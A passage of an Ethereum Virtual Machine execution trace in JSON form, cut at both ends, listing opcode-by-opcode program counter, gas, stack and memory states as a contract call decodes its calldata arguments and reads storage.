00000000000000000000000000000000000000000000000000000000000080"]},{"pc":273,"op":"PUSH4","gas":75608,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":278,"op":"EQ","gas":75605,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x6d9a640a","0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":279,"op":"PUSH2","gas":75602,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":282,"op":"JUMPI","gas":75599,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x1","0x289"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":649,"op":"JUMPDEST","gas":75589,"gasCost":1,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":650,"op":"PUSH2","gas":75588,"gasCost":3,"depth":2,"stack":["0x6d9a640a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":653,"op":"PUSH2","gas":75585,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":656,"op":"CALLDATASIZE","gas":75582,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x297"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":657,"op":"PUSH1","gas":75580,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":659,"op":"PUSH2","gas":75577,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":662,"op":"JUMP","gas":75574,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x1f44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8004,"op":"JUMPDEST","gas":75566,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8005,"op":"PUSH1","gas":75565,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8007,"op":"DUP1","gas":75562,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8008,"op":"PUSH1","gas":75559,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8010,"op":"PUSH1","gas":75556,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8012,"op":"DUP5","gas":75553,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8013,"op":"DUP7","gas":75550,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x60","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8014,"op":"SUB","gas":75547,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x60","0x4","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8015,"op":"SLT","gas":75544,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x60","0x60"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8016,"op":"ISZERO","gas":75541,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8017,"op":"PUSH2","gas":75538,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8020,"op":"JUMPI","gas":75535,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x1","0x1f59"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8025,"op":"JUMPDEST","gas":75525,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8026,"op":"DUP4","gas":75524,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8027,"op":"CALLDATALOAD","gas":75521,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8028,"op":"SWAP3","gas":75518,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x0","0x0","0x0","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8029,"op":"POP","gas":75515,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8030,"op":"PUSH1","gas":75513,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8032,"op":"DUP5","gas":75510,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x20"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8033,"op":"ADD","gas":75507,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x20","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8034,"op":"CALLDATALOAD","gas":75504,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x24"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8035,"op":"SWAP2","gas":75501,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8036,"op":"POP","gas":75498,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8037,"op":"PUSH1","gas":75496,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8039,"op":"DUP5","gas":75493,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x40"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8040,"op":"ADD","gas":75490,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x40","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8041,"op":"CALLDATALOAD","gas":75487,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x44"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8042,"op":"PUSH2","gas":75484,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8045,"op":"DUP2","gas":75481,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8046,"op":"PUSH2","gas":75478,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8049,"op":"JUMP","gas":75475,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1e69"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7785,"op":"JUMPDEST","gas":75467,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7786,"op":"PUSH1","gas":75466,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7788,"op":"PUSH1","gas":75463,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7790,"op":"PUSH1","gas":75460,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7792,"op":"SHL","gas":75457,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1","0xa0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7793,"op":"SUB","gas":75454,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x10000000000000000000000000000000000000000"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7794,"op":"DUP2","gas":75451,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7795,"op":"AND","gas":75448,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffff","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7796,"op":"DUP2","gas":75445,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7797,"op":"EQ","gas":75442,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7798,"op":"PUSH2","gas":75439,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7801,"op":"JUMPI","gas":75436,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1","0x1e7e"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7806,"op":"JUMPDEST","gas":75426,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7807,"op":"POP","gas":75425,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":7808,"op":"JUMP","gas":75423,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x1f72"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8050,"op":"JUMPDEST","gas":75415,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8051,"op":"DUP1","gas":75414,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8052,"op":"SWAP2","gas":75411,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8053,"op":"POP","gas":75408,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8054,"op":"POP","gas":75406,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8055,"op":"SWAP3","gas":75404,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x4","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8056,"op":"POP","gas":75401,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0","0x4"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8057,"op":"SWAP3","gas":75399,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x64","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x0"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8058,"op":"POP","gas":75396,"gasCost":2,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b","0x64"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8059,"op":"SWAP3","gas":75394,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x297","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x136dbf40ac09b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":8060,"op":"JUMP","gas":75391,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x297"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":663,"op":"JUMPDEST","gas":75383,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":664,"op":"PUSH2","gas":75382,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":667,"op":"JUMP","gas":75379,"gasCost":8,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x85b"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2139,"op":"JUMPDEST","gas":75371,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2140,"op":"PUSH1","gas":75370,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2142,"op":"PUSH1","gas":75367,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2144,"op":"SLOAD","gas":75364,"gasCost":2100,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2","0x5"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2145,"op":"SUB","gas":73264,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0x2","0x1"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2146,"op":"PUSH2","gas":73261,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2149,"op":"JUMPI","gas":73258,"gasCost":10,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a","0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff","0x8ad"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2221,"op":"JUMPDEST","gas":73248,"gasCost":1,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"pc":2222,"op":"PUSH1","gas":73247,"gasCost":3,"depth":2,"stack":["0x6d9a640a","0x274","0x136dbf40ac09b","0x0","0x87132c7dbd0d6d6a73c9df24382f546c2e6fa21a"],"memory":["0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000000","0000000000000000000000000000000000000000000000000000000000000080"]},{"p